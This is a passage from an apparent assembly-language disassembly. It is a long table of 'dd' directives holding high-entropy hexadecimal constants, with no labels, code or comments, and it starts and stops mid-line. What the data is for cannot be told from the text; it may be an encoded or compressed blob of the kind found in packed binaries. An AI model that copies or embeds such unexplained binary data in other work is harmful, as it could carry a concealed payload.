0C840B144h, 5B8000BFh, 5C883CC5h dd 3106DB6Bh, 5A950D2Eh, 638E06E0h, 11B99FE9h, 8EED400h dd 647C8A21h, 19576053h, 93ECACF4h, 68FC8C30h, 1FF64873h dd 80D621A8h, 3397169Ch, 0BC0050B7h, 698D862Fh, 0E273530Dh dd 1440039h, 50067FDFh, 0C0F8C2A7h, 510009B0h, 0FD577276h dd 2481B9h, 2B686B52h, 45934D74h, 0F004F537h, 0C980D005h dd 18CC9B7h, 0F96A1514h, 80A22EA7h, 2724A320h, 9062B076h dd 728701E9h, 45E88E16h, 8BCDEC61h, 40D0C551h, 553FAA94h dd 3D3A890Fh, 5C033DE3h, 908AAD34h, 79A2B1h, 0EBD68DA4h dd 0C22C3328h, 0AE838903h, 0F86A201Eh, 7055CBh, 0ECDA4E30h dd 0D1FAB7A8h, 2E169900h, 7D8E0EA6h, 95F11E15h, 0DF0780BBh dd 59CC5AA5h, 8F09CF3Bh, 684582h, 3B49B676h, 84E31E07h dd 0A30E4F0h, 0A47269h, 0D757D4E5h, 0E0002D09h, 158B39A9h dd 2C936EB2h, 0CC05C1h, 0D3A4ADFFh, 0B800D5E9h, 0AADEDC8Eh dd 14287EEh, 0C32A5D3Fh, 0D4B349A1h, 4D1F2176h, 9FC0FCF7h dd 383F8462h, 1FF027h, 0FB4C5CCEh, 5B16496Ch, 6A9E191Ch dd 0F8228A0Ah, 7E69A180h, 7A4634C2h, 59137A1Bh, 7800CC0Fh dd 0F09862BDh, 0F5172854h, 6400D8AEh, 0A575219h, 0BDD30095h dd 662F1C83h, 0A700049Bh, 3D4C12CDh, 0B6AD70h, 3327ECBAh dd 1A35E3Bh, 1EB3D703h, 0B3147CFh, 4A62E181h, 5F17F020h dd 1A027ECAh, 5393C865h, 75FCC8C3h, 3B941910h, 0E39D11CBh dd 23FB05B0h, 286AA00h, 0AF38D542h, 7C75CEh, 6EF5759Bh dd 22734F0Ah, 40AB6514h, 2DCF1434h, 0E0B30740h, 948E022Ah dd 0D8651F10h, 0BCB72F00h, 0A6827334h, 80B56020h, 0AC28B7CFh dd 482C3F54h, 0E8B50384h dd 0F02DDD2Ah, 2090DFA2h, 0B02ACD7h, 5CEE5125h, 0F88A4005h dd 751C0E16h, 0B9C18904h, 0F063BB84h, 0B00FB36h, 8184D40h dd 0F254114Fh, 0ED0E0774h, 0B0FDB94Eh, 0B032DE1Fh, 14014A72h dd 0C8838FD0h, 0EC03565h, 0AAFAD9h, 593F6CDDh, 58DBC516h dd 2172C800h, 0D20DEBBFh, 3DE7784Ah, 7100AD1Eh, 0CDC6481h dd 0CB003017h, 767912Ah, 2C78DB3Fh, 682C26h, 0BDB9761Ch dd 0EE003ADCh, 0CBDFC5C9h, 46A860h, 34F96DBEh, 28FC93E4h dd 0D14E3700h, 0B9852DEAh, 46680060h, 0F97F7DCh, 890011D7h dd 2558BA36h, 482E0E5Bh, 46039375h, 2A0614CAh, 12E083A0h dd 0FC574A07h, 0E6A44E70h, 7B82F4A0h, 80B009Ch, 596591F2h dd 0D300CF64h, 0E68997Fh, 0EE2B03CDh, 1CC75B5h, 5482E4A8h dd 0D8331496h, 9C00424Ah, 87F5B3B9h, 20D43E61h, 8A098D08h dd 454EFE2Dh, 671A00E8h, 64A95A45h, 0F7BD3D00h, 665725A0h dd 5D4F03AAh, 11D3A73h, 56832800h, 611B9B8h, 93D70794h dd 900EFDFEh, 0F0868E96h, 872EFF00h, 0BD8DC332h, 0FADD04B4h dd 0C0E72039h, 6A66A754h, 0AFACAA00h, 4B91A64h, 63770113h dd 0C78CDE37h, 1116C8BFh, 93D94600h, 2556D17Ah, 94E300C4h dd 90306C6h, 3A0AADD4h, 9F4F47F8h, 1A006D2Ch, 192B8C5Eh dd 0F88048A7h, 0FC956001h, 60273947h, 9416E22Bh, 1400E7BFh dd 92D81F68h, 8F0A0529h, 0D0C56673h, 55F0E67Ch, 0E210450Bh dd 0A7ACA1EEh, 43EC5CF8h, 1CBC093Dh, 8C202C30h, 3AE94633h dd 7E5F2701h, 70B787A2h, 0F382C30h, 6E0A7A8Fh, 4A6CB812h dd 4082408h, 0D381E382h, 0B0970E4Ch, 0C6AB596Ch, 63055BFCh dd 3479A6B2h, 0D0067C80h, 0B7810BEAh, 807774FDh, 3DAF4A4Fh dd 48101E80h, 8069DE03h, 0BC721523h, 0EC0C4DC4h, 0DAF14AE2h dd 0DE8000CDh, 610637B3h, 8100DB3Ch, 0BE3F8820h, 0C4A7DB1h dd 0C022C33Dh, 0ED004F91h, 55B94E0h, 99BDA9h, 0DE9AE2E7h dd 8DEF3297h, 0BC1B4Dh, 0FAC7D3CCh, 14035C69h, 980838BDh dd 32B917h, 0CE74A7A8h, 0ED0A3399h, 9CE4CCE9h, 4280AB9Ch dd 0C2FD6760h, 6D840059h, 0EB0F0D36h, 5501FE31h, 8AD74FF9h dd 8171982Eh, 73845983h, 0A97D2F61h, 36C4DD00h, 4C0A66D1h dd 576B0055h, 9B54CD82h, 8500DAC8h, 2A3A3E27h, 0E55A9Ch dd 46CC2F41h, 4B5CDC6h, 0BD0AB2E2h, 0E888EF1Ch, 1D698683h dd 7482A043h, 3E00927Fh, 0A083F3F2h, 3A7DB9ABh, 2A5C70D0h dd 0D89589C0h, 7577C1h, 1F816943h, 3347025Eh, 0B7A12106h dd 49E419h, 28224E65h, 0E1E52073h, 0F5B95000h, 5296332Dh dd 0F1230018h, 0D6FB6D99h, 0A100B3C6h, 0B17AE41Bh, 0F9A975h dd 91124CC7h, 355E692h, 0F2DAD100h, 16FA19B9h, 99F50F9Fh dd 40604913h, 76334B5Dh, 7C31AB00h, 0BC415EFBh, 0D8F00CCh dd 0DAFF474Dh, 0DE7CFA45h, 919BF60h, 604A53EBh, 0D74811C1h dd 0DF002C06h, 4ED6FEAAh, 52A40EEh, 33E9EBAFh, 0C9E85C82h dd 0D4C04B4Fh, 1824C5CEh, 0C244E017h, 0A918C0FEh, 51589F5Eh dd 794000F7h, 0B0997889h, 3A530E27h, 0FEC22829h, 5CE0F5BBh dd 1F82E72h, 48C2C600h, 699283A5h, 177E7324h, 16CDE17h dd 0E65553A8h, 806DCD08h, 0EE862E10h, 0B444FFh, 0C7A90392h dd 4963076h, 0D484F61Ch, 5A0098E8h, 14AB5426h, 0F7B883Eh dd 3483084Ch, 9619D60h, 0CD007189h, 1A30C0EAh, 997B6Eh dd 9A81B66Fh, 727F07CFh, 765BD307h, 843AFDF8h, 8500E093h dd 0CB74605Dh, 0AFA600D2h, 681BB5FEh, 0EF3A169Dh, 90C7AA1Eh dd 0B3EE4900h, 419A7DA2h, 0E5E4ABh, 12C45927h, 0ADE1CCDCh dd 0A58CE000h, 16CF08E2h, 5FDA00A4h, 0EAA1576Dh, 70029EDh dd 37EFD631h, 7A1E1035h, 0BD56006Bh, 17DB87B6h, 0AB312620h dd 0C02F3076h, 1BEF6D0h, 23C4D670h, 0F7E66057h, 7B442100h dd 849BF472h, 2AD80FF7h, 45637FC1h, 198925Bh, 0FF0AC5EAh dd 0FC75F3D7h, 0F8BD6C80h, 0CA26C9h, 4BA2ED1Fh, 0B0E378C3h dd 800A2C12h, 0BB519020h, 0E011D339h, 0F90F50CAh, 1D4869h dd 0B10F6F7Ah, 3CED48FCh, 59870671h, 682D1C68h, 6003F76h dd 4CDFA9D1h, 0F49CFh, 45A65086h, 8E4320A7h, 0DC116900h dd 6331A09Bh, 0E3A103CEh, 0FE7C798Ch, 3F8825FBh, 9907CDE9h dd 0EE3194DFh, 0BB4823F0h, 0A77B586Fh, 54D22B00h, 0C5DAE85h dd 696C9B00h, 0FB90371Fh, 1303022Fh, 0D2EF87E2h, 0AC405A62h dd 0AE0036D1h, 0E62270C6h, 874212h, 0BA045383h, 0F0B0E564h dd 0C5F7EC00h, 43087BA0h, 7EC800E6h, 5D25B29Bh, 0E401D822h dd 75FCB6F5h, 0BEE81B9Ah, 0BCD00069h, 671F7678h, 0A8018611h dd 4609CDDEh, 837016E2h, 0D3F904E8h, 0C36095DDh, 0EEC04DF3h dd 4C3E9115h, 8F9BB842h, 20518E61h, 0CA0C704h, 0B02E00FDh dd 0E2672269h, 0FC717D73h, 288F241Dh, 0A3098E80h, 39CE6972h dd 738085EDh, 126698B1h, 0A40058F9h, 0A6F17BC7h, 0C017B9D3h dd 0C064B211h, 787E0947h, 8E004BF2h, 2D75805h, 0ECD818h dd 5C54B3ACh, 0DCCB0450h, 8092D039h, 902631BEh, 742B602h dd 2A0FBCE0h, 7F514055h, 4A005E76h, 97ECFB1Eh, 3C01CC0Ch dd 368006F8h, 78956F7Eh, 8A0753C4h, 0D8F2C63Ah, 0A6C035F5h dd 29FC791h, 0B4A5D9DDh, 0EC683476h, 0D6007FCDh, 1C48397Dh dd 9504F4Dh, 0CF8C8A43h, 0C0D588C3h, 61CA7908h, 80031C3Ch dd 9E6AA3E9h, 332C71h, 0B4B20B28h, 183D8EA5h, 0BC012209h dd 9C455Dh, 7F3130CDh, 0C81D6582h, 0D4061274h, 3E2061ACh dd 0DF3E4A75h, 7001EB0Bh, 7D82FCAFh, 0AC4884D3h, 0DF0EF908h dd 81E90A62h, 0A61C9206h, 6DD8E0h, 0A9D0882Ah, 0FFE046EDh dd 64C67601h, 0C471940Bh, 65B74083h, 68007B10h, 0A68C730h dd 3C1CE77h, 51C634C8h, 0CDE01075h, 73603145h, 0D874E628h dd 48775401h, 0E0FA86F8h, 0C62A6200h, 3A404703h, 0F99D00F0h dd 873C9AEFh, 51004131h, 188D2221h, 10B6A8h, 302D6BFEh dd 5CC67E62h, 3AC9FC13h, 0AECB1300h, 0B7A635h, 7FE0A798h dd 976ED3C6h, 0ED61358h, 80CFEC88h, 2CC06775h, 0C3190761h dd 906F866Eh, 0C70566CCh, 6A706200h, 65928B40h, 6278972Ch dd 0A9435100h, 0A6020650h, 0CF82002Dh, 0BC4A30B2h, 8600CA83h dd 0E7E96DE2h, 0FAD8FC5h, 3077AAB1h, 4ADDAEA0h, 9F183B07h dd 0A92019BAh, 0A79100B8h, 75D4E945h, 0CF009466h, 0CE161FDDh dd 543CA0h, 6178B1AAh, 7997D4F8h, 22A62D0Fh, 0DF81A1FEh dd 0C244D13h, 71DE032Eh, 10ADB7C9h, 98C5CF81h, 8B212308h dd 0CA7107D6h, 0B7B30E7Ch, 0F73E0063h, 4E03012Bh, 0AC25CE09h dd 0AF675h, 0B04838F3h, 368C4F05h, 48609830h, 0A886B5F7h dd 0F2ABA7DCh, 0E5B60C7Ch, 9B693914h, 8D18130Eh, 0C346602Bh dd 183405F9h, 3987350Ch, 69E8BA81h, 11322937h, 0E00DC7F0h dd 2AA806B3h, 8C0AB85h, 0F5211F60h, 0F40DCEh, 12049E22h dd 0F65125B6h, 58DF2F30h, 0C63A721Dh, 698FD781h, 77B41912h dd 2B9CE000h, 727347BAh, 5EAC03D9h, 701651C8h, 90C840FEh dd 0DC3C07Dh, 0C846B3DCh, 0F1072622h, 0BC200DCAh, 0C806B540h dd 1024A3D6h, 0EA4858h, 34D53C99h, 0FE677A2h, 3901CA95h dd 728A9060h, 8BECB7E0h, 41ED861Ch, 4E9ADE80h, 222E16h dd 23639DD1h, 3545F252h, 1DDAAA07h, 2400ED02h, 537308h dd 0D1011C59h, 1FEEB16Ch, 38B7DD00h, 8A3745FCh, 3E7108h dd 6AEBE32Bh, 62D92D7h dd 5E0063F6h, 7E044B94h, 158D01h, 0D4F8B28h, 0D4736156h dd 0CF956000h, 4ABC5176h, 0E53B0074h, 0AA5B04D1h, 3F00DFFCh dd 0B54435F0h, 9AA541h, 7BF5E8DBh, 0E41F3E1Bh, 11EE93Dh dd 8D48C40Bh, 0B3C4961Dh, 0FE41FAE3h, 4AB501F6h, 0EA7E6D17h dd 15CBFC4Dh, 1B00C6E0h, 6E85A366h, 415EF0h, 8FD418B2h dd 719CD5FDh, 74707C0Bh, 2BE180C6h, 0DE4191h, 121F920Fh dd 8C941D5Fh, 1708D200h, 302BD68h, 91E001B2h, 69A9D543h dd 0F380DF39h, 5000FCB4h, 8FF67507h, 995517h, 45844FCFh dd 828C0983h, 7503107Ch, 0B4ED6405h, 0B95B90ABh, 7F6F03C2h dd 3C139E3Fh, 2576100h, 2EE14636h, 9808C319h, 1DC0A8F5h dd 174CACD6h, 8A3874DEh, 388580FAh, 895CCC99h, 86F40Dh dd 0F0A854D5h, 0CE7C55D1h, 6EFA3076h, 0EF884C60h, 35026Ah dd 3623D43Bh, 0BF6371CBh, 0C2545107h, 17B0D06Eh, 0D11B3Ah dd 5850FD3Bh, 0A41F3D7Dh, 6F78F800h, 61C015EFh, 0D9772690h dd 78E00D6h, 18A42C23h, 2D63AB00h, 7365382Fh, 20220074h dd 346B87DDh, 3D54A194h, 4877F588h, 0C9024601h, 20D19CEDh dd 0C162430h, 0E93329A7h, 8A00B138h, 71ACEAEBh, 0D86F2Ah dd 0B67FEDCFh, 4396F25Eh, 232098C0h, 0FFC1C3h, 0D1D6B4A6h dd 269491Dh, 0EEEE8F7Ch, 8755F500h, 0CE78E672h, 0C184004Ch dd 0E0B1BC0Eh, 21308070h, 6C8A70FBh, 0D18E00CCh, 6E6D16A5h dd 0E7009C25h, 7A0F81F0h, 1C9B4CFCh, 3CE90EC8h, 0F61D6400h dd 2A75E87Eh, 874A2205h, 0E4003398h, 0BE215723h, 3DF0C039h dd 0F6E7A8C8h, 0C703C671h, 0E2790B38h, 0DB7E90EAh, 4285021Bh dd 0A1B10ED4h, 2502B981h, 0E051600Ah, 0FFA89300h, 7C130D59h dd 69EE0056h, 570140FDh, 0E0754783h, 84199400h, 909C1F5Dh dd 4BD801DEh, 0E8E5EFF5h, 8114DD7Eh, 0B24E6388h, 0F085AFB3h dd 803F9EC8h, 84C9E5CDh, 5FF78600h, 7E7C7529h, 1009060h dd 0E362E7D0h, 50C570F2h, 5AE505B8h, 0DA36A500h, 6C4CD45Ch dd 0AF7502BEh, 6F6DFA5Bh, 97F4FCA4h, 7CA32F10h, 0F0EFEC58h dd 59C60861h, 0E2247892h, 0C2AD427h, 1EF73000h, 0FD6D0B2Ah dd 0C0774Bh, 982447FEh, 5B8A04E3h, 0AA4F0800h, 0FC5AB9E7h dd 0F1760093h, 0FA3C1D71h, 7D0ADBCDh, 83F25F4Bh, 0E5B01E18h dd 9ACC80E4h, 8B5B3401h, 0B672BEBCh, 0F09B9EECh, 4EE2013Ch dd 0F6138CADh, 7207C073h, 0CF77E300h, 0EEB3F826h, 0C23C00EFh dd 0F1E3ADDh, 520114C1h, 78B60AD6h, 0B2DCE425h, 0DBD03DA5h dd 0BA534100h, 0EB73F12Bh, 0F2263490h, 9A0FA6BEh, 89F720FAh dd 7F577Eh, 384A790Eh, 927A4BD5h, 0C5F9C02h, 6820A5BBh dd 72C180h, 0D7FE0978h, 6A6EAE88h, 0E123C500h, 82AF9D3Bh dd 0FC60F1B2h, 49757FA2h, 1B05C49Eh, 400FC06Bh, 0B84E8CB4h dd 0FB395429h, 66942C72h, 7C1C803Ah, 6670BCFDh, 90230140h dd 4DEE3380h, 5F5860C0h, 7B9FAD5Ch, 0C2984300h, 7923960h dd 4869039Ch, 1715AC3Dh, 3B14BDD8h, 0F304D500h, 0B327F275h dd 58F00E7h, 0E0D24157h, 0C3006583h, 28BEE645h, 9916B9h dd 5BC10C97h, 31D9FA25h, 0B088F62Eh, 0FF83A001h, 0FF17E79h dd 0C8DACCh, 2C7A37D5h, 9704FC21h, 5CF3A600h, 0A317E890h dd 889E074Eh, 409F7156h, 0A5FB27E6h, 4FE6000h, 0C1994376h dd 1033130Fh, 0E0684045h, 64625078h, 0C94EC002h, 4121CD0Bh dd 86E4555Ch, 766F00F6h, 0EAA6A995h, 457883D6h, 7882A700h dd 9D18A8DDh, 3B87C6Bh, 78B5789h, 0C8F0A24Ah, 98002A61h dd 0C715E8EFh, 0B0372132h, 24E600D2h, 0F6DA3F7Eh, 0AF077020h dd 634942CCh, 0CECDCA20h, 0D63E04C4h, 80FD9291h, 457822AEh dd 1EAEC800h, 1BA2BB09h, 0AF610316h, 44FF6991h, 84EEF2F0h dd 6E091D00h, 0E68ED203h, 0EBB13CDCh, 1FD624F0h, 63990024h dd 0C3AB58EDh, 85C97C02h, 481C1265h, 5E1ABCh, 98780757h dd 0EED9E2CFh, 67C6230Eh, 42CB80F8h, 74CA3FEh, 0D4B5D78h dd 0AA033983h, 2100FF70h, 92515E7Ch, 0E2FE4543h, 3CBB3B2Bh dd 0CF5D2280h, 74534D01h, 0FDE87801h, 89A82875h, 0CF1CC450h dd 0BC3E3E11h, 81B101F9h, 6A65B578h, 3653E89Ah, 0E9352Eh dd 0F3112680h, 44D7F4h, 0BAEC1DE6h, 92DE2103h, 52EB0A0h dd 0D307D0B0h, 0F135EB26h, 8D61C5F0h, 859600A6h, 2102FA7Fh dd 0DDFCAF18h, 0CA48D560h, 0EC6855h, 3A24C484h, 0CE28B167h dd 3E10400h, 0C91CD3EBh, 7FFA9Fh, 0DE5615BAh, 824F0729h dd 0C514CD00h, 0B4BEF08Eh, 0ECE84Ah, 0CAAC834Dh, 65874ED0h dd 2BE16B07h, 32D02289h, 0F7DFB2Dh, 869A105Ah, 0BFE83C03h dd 78DDE590h, 77AA0D00h, 0DB56D24Dh, 0B3610E34h, 864064C4h dd 1337C7F4h, 0E4FAD000h, 699A948Ah, 491E0006h, 48AE6E6Bh dd 840062F5h, 0D7E63D9Ch, 26BAA47Ah, 0D6C7DBh, 0C4E7A08Bh dd 6A0EF1F9h, 0A2F3FF61h, 40763B3Eh, 2C86BE9Ch, 8B9019FAh dd 0B980D521h, 94F0B94Fh, 0AC9BA900h, 0B30B1D03h, 92A01777h dd 0CB400086h, 202D885Bh, 0AA008FEEh, 0EFF9AE9Dh, 11889CDh dd 3CA9E825h, 0E9B52BF1h, 0A448201Dh, 0A3C22D00h, 1638CCC6h dd 0D4490084h, 5FCF0FACh, 4E758B31h, 0B1F2A700h, 3A7A8076h dd 0A2F71DDFh, 2C8EC0A4h, 9902FE27h, 886EA603h, 80C54D57h dd 1660DFh, 0BD4CAC20h, 0F95C99FCh, 0B1256F04h, 0BFC07833h dd 0EB70CBCh, 0A528688Ch, 0CB9FDE20h, 2324C71Ch, 0D1D0910h dd 961CC026h, 84E5FC03h, 0F8110027h, 86C6EDFBh, 1D0E2C3Bh dd 0DC099ED4h, 53010E00h, 7F9F46h, 0EA5B924Bh, 20DC4C66h dd 2197F0C0h, 3C1C253Bh, 50601B22h, 41B42362h, 80BC69C9h dd 0ADD9A850h, 9070E5h, 465B2517h, 0FC8F4807h, 0F2809760h dd 509FC395h, 2A9E2482h, 17AC1C63h, 0E3B1999h, 909911B0h dd 0F6144081h, 55000DB9h, 27E83704h, 0B0EC8A5Ah, 0A570B6h dd 0B109E925h, 3673C7B8h, 0DBA3E0C0h, 0B560FF3Eh, 0F39CD1C0h dd 3500B198h, 4178ADB0h, 0E799087h, 84D3F1DEh, 545C5100h dd 570077A8h, 676C9D55h, 72D1F53h, 0BB3B7021h, 3882C0B8h dd 0C9397579h, 9526041Eh, 2CC7507Fh, 92150FB0h, 52663D98h dd 8800553Dh, 6EE7D10Ah, 31000736h, 3996EA8Dh, 17CDB04Fh dd 1E6F6394h, 14CC0A15h, 0C9E98084h, 0CD899CD8h, 0FC00127Fh dd 9FA9252Fh, 7803984h, 4E673427h, 649E3095h, 18B8CD6Ah dd 0B30296F4h, 67825F0h, 49C809Bh, 3C953FF4h, 180097F7h dd 1DC1549Eh, 0F8F90983h, 0A1007F13h, 0C98CF9BCh, 15447519h dd 0BC21AA11h, 95DA6F00h, 0AE257E85h, 58DD5600h, 0B1E7B4Eh dd 9DEB004Fh, 0E8E2C3CAh, 540D95A3h, 0C90CCC71h, 0C2DAFCh dd 9FA64B37h, 9363B439h, 0F05C2200h, 0C0C1A779h, 41CD0359h dd 19CC1FAFh, 0EA38390Eh, 3000D3ADh, 8369976Eh, 0B8230166h dd 18659E41h, 51E0CC8Fh, 0E99A2F32h, 7488811Fh, 1C64F3F6h dd 49CB00ACh, 8A0E2351h, 0D7A0CE45h, 8B1C55C1h, 541271Bh dd 162A14ADh, 0AF117989h, 677D3810h, 0F64F1505h, 0A400A0DBh dd 0CB028C46h, 6CFD1E1Ah, 3CCF809Bh, 0ACC3975Ah, 422EDF07h dd 18814638h, 7BE0DC96h, 399E7B81h, 28007EF1h, 0D204BA4Dh dd 0A407CDD3h, 0A5C56C2Eh, 37F6043h, 3D0AC20h, 17D8499Bh dd 460069F5h, 83EC1342h, 7CC8C3h, 0EEC2F181h, 0ED3CE8D0h dd 0B0858C0h, 6A37742h, 0BDC565A1h, 146008B2h, 42A2FA21h dd 81F500D7h, 0EC45BEA7h dd 0F8B8517Fh, 0AE083806h, 0CEB08F54h, 0A0A12831h, 0E0138771h dd 5119DF12h, 0CB78C384h, 42080A18h, 0C409A38Ch, 0A1FF4021h dd 2534842h, 9EF04C26h, 8C938430h, 6B881010h, 0FC41DA0Eh dd 0E7BEB647h, 1A66F1A2h, 0F7BBDC60h, 7AFF1100h, 0EA3D2D8Eh dd 0E5340007h, 0F291AA50h, 3105DC20h, 2FC37FC4h, 7FAE101Eh dd 84B97400h, 3E865C12h, 0BA003269h, 394D0D90h, 5838D053h dd 10D7300Ah, 3824869h, 550806ECh, 18865CAAh, 34002278h dd 0B8A0EA37h, 1D1F12ECh, 0BDB6EE27h, 8529118Fh, 0CB56F9C0h dd 81CE412Ah, 74E2E0B4h, 1C0FCAA4h, 40886676h, 7DC1F3E1h dd 0FE00B68Fh, 0ED5A2AD4h, 0B2387h, 4AF85B68h, 0B26AC89Bh dd 0EF1D983Bh, 186E8098h, 0E3AB5E7h, 0CA1FF5BFh, 3F93B3Fh dd 951CA0B6h, 0A90C13DFh, 0FA5A5568h, 0BDBA3D81h, 0CF6DDA00h dd 9C7E0945h, 3E82A106h, 3A310CBEh, 8CBCD970h, 0D0B4A907h dd 0D12E107Dh, 0CB059D06h, 2F03B6D2h, 5D46C00h, 0F816C38Fh dd 0FC800375h, 89FE1C13h, 0D41A09A1h, 35001751h, 0C6CC81E5h dd 1DE00529h, 0C16C37F2h, 974340A8h, 0DE1080F3h, 27C76952h dd 2E7A061Dh, 88277CBh, 203E6A30h, 0C77137h, 23C262CEh dd 0F2F4478h, 3E51CC60h, 1797B4AEh, 6421D40h, 382E847Ah dd 7F96F218h, 0E63708h, 0DC721154h, 706FFE10h, 0CA3E53Ah dd 6958227Bh, 6149F642h, 0FB5059B7h, 21BC480h, 0CE449E03h dd 5E9967h, 9AF82851h, 41C0806Fh, 681CAE00h, 83D4DCADh dd 0EDCF036Bh, 38C17CA4h, 2EDAD800h, 4A67F419h, 7E61C0CAh dd 383AFCACh, 8E62500Ch, 6C67095Fh, 37420F4h, 364D13Fh dd 3C66F1FAh, 6AD93C3Fh, 0ECF8302h, 0A884CC80h, 0C76B6041h dd 6A1D2311h, 3DDB08h, 0D8C77335h, 7D3B7183h, 68278064h dd 82F6FE2h, 18A1D3D0h, 8B2951D4h, 42ABDA0Eh, 92A560C4h dd 0E8DB34F9h, 0A990015h, 9F11429h, 5164904Dh, 866065E8h dd 38235503h, 661180h, 3CFC9E8Ch, 864EC02h, 38059812h dd 666D1630h, 2C6900A5h, 49098435h, 2403B832h, 0BC228B25h dd 3B53B8B5h, 0F9DE068Eh, 78DFDCBBh, 3E44B52h, 595FF6D0h dd 0B530F004h, 0F444508Fh, 6E81C0A4h, 36FC72D8h, 0A20DE800h dd 2D2F74E4h, 0CEF607D9h, 0B3949142h, 8406F7Bh, 6701AAE8h dd 187052E9h, 2A23C72h, 54D700CCh, 3EB9890Ah, 0BF33106Bh dd 124084Eh, 0A1C7521h, 20C93694h, 5A0407B6h, 0E2D9CD9h dd 50DB9088h, 0CFD81Dh, 27418092h, 50D34AADh, 0CA51F8E3h dd 7B5D8300h, 721A9CB9h, 1F40A43Dh, 88860A4Bh, 74586AF6h dd 960A0053h, 905EAFD4h, 887A91B2h, 5C15BB0Ah, 1805A47Ch dd 0E06071F4h, 0E238FCAAh, 0DE6342A0h, 9E0342C0h, 7298F62Dh dd 3E602063h, 0C2D97C00h, 91045ECCh, 0E1F2CAh, 61F7A87h dd 0BA391AD6h, 1CEBDB00h, 8BCE7E66h, 96A9C431h, 0A4B49086h dd 0AB00D721h, 4AF1B152h, 22E299Fh, 0C4D3FFB4h, 804F692Dh dd 0E2CE5A40h, 0E97B1C99h, 460584EEh, 870C8C1Eh, 503C58h dd 5138478Ah, 0BBD995h, 469498B3h, 531760A8h, 470010E6h dd 0AC3851A1h, 18DEC8C7h, 0C1879793h, 0B300138Ch, 6302E91Fh dd 748AF342h, 21796070h, 27B33C4Fh, 9BA83500h, 21FA4DFFh dd 0A148C864h, 19B315C0h, 703221E9h, 4D035891h, 52EFB326h dd 50323DA1h, 0E48F12A4h, 9B2C6300h, 0A47EF056h, 0E71007FEh dd 0E0C89D61h, 0B51B4050h, 9B44CD05h, 3C2BCA36h, 3A007923h dd 0A0ACDD9Fh, 62930C3Fh, 1920CC89h, 27799091h, 76006618h dd 48C20EC3h, 9A9C3781h, 0B4F91808h, 404C7970h, 42F9CC72h dd 4F309134h, 0BAAA110Ah, 80338856h, 230A1780h, 0A35549DAh dd 0EF141F8h, 6EAB2076h, 0E8B7051Fh, 443F35C2h, 484499h dd 0E6FB5FBEh, 7C66A33Ah, 3E23248h, 75CE575Ch, 1E611C3Eh dd 0BBF78487h, 3A48D41Dh, 45F23ACh, 0C3B2790Dh, 1909716Ch dd 9091225Bh, 65498700h, 8B18C18Bh, 0E07DC830h, 52BD887Ch dd 0E91B2D07h, 84A92251h, 3860902Ch, 0BA29AD0Ah, 81C0A81Eh dd 52A0A40h, 0F73F5A22h, 4CBC88B9h, 3EA9CE06h, 0F879247Ch dd 0CE89097h, 8EC1F9C7h, 602EE29h, 0CE519173h, 30084472h dd 0B0218096h, 0BD0042F8h, 0C096B77h, 4C79F5h, 483CE590h dd 3ACA3BA5h, 1C0990B1h, 6437C8h, 0F5C9A7D9h, 0C61CE162h dd 0CC2627FBh, 34C2B244h, 0C7683042h, 721D2817h, 405C38h dd 15EC770h, 0F6EB8E1Fh, 8C78AC29h, 4930981Eh, 0E16825h dd 69BAF340h, 28767866h, 62BE9503h, 0C0C45FECh, 4C7B4004h dd 7BE830FEh, 2CDD008Ch, 676E747Ch, 79CFF798h, 8746EEBDh dd 0C9104944h, 1DC5AD69h, 928E533h, 0AC041F22h, 0A39608Fh dd 46BA23ACh, 7E002B11h, 737C0A41h, 88057655h, 2C449BCAh dd 2C88DC85h, 0AF7424h, 8E484AA8h, 0E63FD705h, 8075C63Bh dd 797C99CAh, 0FC047AADh, 4C851336h, 0B900210Fh, 42BF1071h dd 498B18C5h, 241E59B8h, 4483E200h, 88865094h, 9841E57Bh dd 0D9642h, 8AE968F4h, 2CC0A499h, 4C3DB38Fh, 0BF9F0C4Bh dd 64B7E780h, 0C44F6315h, 29853439h, 9203A408h, 2E10628h dd 0A2953E89h, 1847C81Fh, 5B606D44h, 0B40129A4h, 0A904208Ch dd 418E88CEh, 0D4017F2h, 3FCBBB40h, 0FDAE0102h, 0C9319666h dd 0AD186EDCh, 0DD39FC2Ch, 7BC40024h, 3459F40h, 79001A13h dd 25B20A5h, 64427436h, 45CFD01Eh, 0C0409B97h, 0CED183C4h dd 0E3F500A5h, 8F98616Eh, 1A48C8E1h, 8C2ABC14h, 830EE700h dd 4FCFF6D2h, 592509B3h, 78B0C232h, 8430CE74h, 0BD923941h dd 0F862E5D4h, 0C3E58F1h, 298022Ah, 36997213h, 50884C61h dd 5C21EC2Ch, 0B851A32Bh, 0DFEA2C04h, 0B81B00C8h, 13B46F8h dd 0B9880A55h, 400C6AE6h, 11D8288h, 0BA07530Ah, 0EA2CF74Bh dd 975CF052h, 62548094h, 0A3F014h, 83467DFCh, 9CBECC36h dd 8005D53Ah, 93A2E3B9h, 482E7BF5h, 1F232CB7h, 13CF1D07h dd 80381A35h, 0C7650043h, 0D7EF2F5Dh, 0E1006419h, 37125F4Bh dd 2AF72753h, 12B86F4Fh, 8BB2D470h, 0C040C82Ch, 211766F0h dd 0B71E8C00h, 790E89E9h, 9794263Fh, 0BFD44048h, 0F81CFCDDh dd 0E700E9F0h, 5BCC19D5h, 16C6019Ah, 6722D3B4h, 2411CD7Bh dd 0C339BC3Ch, 0A14012B2h, 0C045E808h, 0E965B329h, 5D221246h dd 0B33A311Eh, 0D6D4F9C0h, 301EFF89h, 0C0B93B3Dh, 900ABC1h dd 166F3A4Ch, 18D48115h, 41859953h, 6000A1EEh, 0AB1E89DAh dd 4DD48FDh, 0A57BF8FBh, 86208879h, 14B94924h, 2D39AEBEh dd 0C012F80Eh, 0C0A61C70h, 0FBE9015Fh, 0FCBDF114h, 0B6F5F46Eh dd 0F6041678h, 0A2490C76h, 28850C90h, 1354EA0Eh, 43718Eh dd 21EDE2EEh, 774150Bh, 94403C4Ah, 0B769A103h, 2AF0381Ch dd 0DF0CF980h, 9C833BDAh, 44719900h, 4C4DA62Dh, 0CCCB0F28h dd 2F407232h, 14450DFDh, 0D55EB300h, 0E80BF263h, 0FC49488Ah dd 6DC85180h, 0A20F8C2Ch, 40F4649Ah, 2F899084h, 2278052Bh dd 41579BC3h, 0D08DB594h, 94B0F8C4h, 0F9591F01h, 0E652DD92h dd 30ACB7DCh, 0A6C03186h, 846099E8h, 0A1EF9D39h, 6E180E4Ch dd 0ADE54D50h, 61B10025h, 2D5AFCF7h, 0C3977500h, 7B9588B4h dd 6C6C495Fh, 22ACF917h, 0DC524B10h, 0F50020B0h, 0DF761094h dd 1D27AE5Bh, 40AFE4D3h, 0DBF0B0B4h, 0E3E662C0h, 8AF4ED3Bh dd 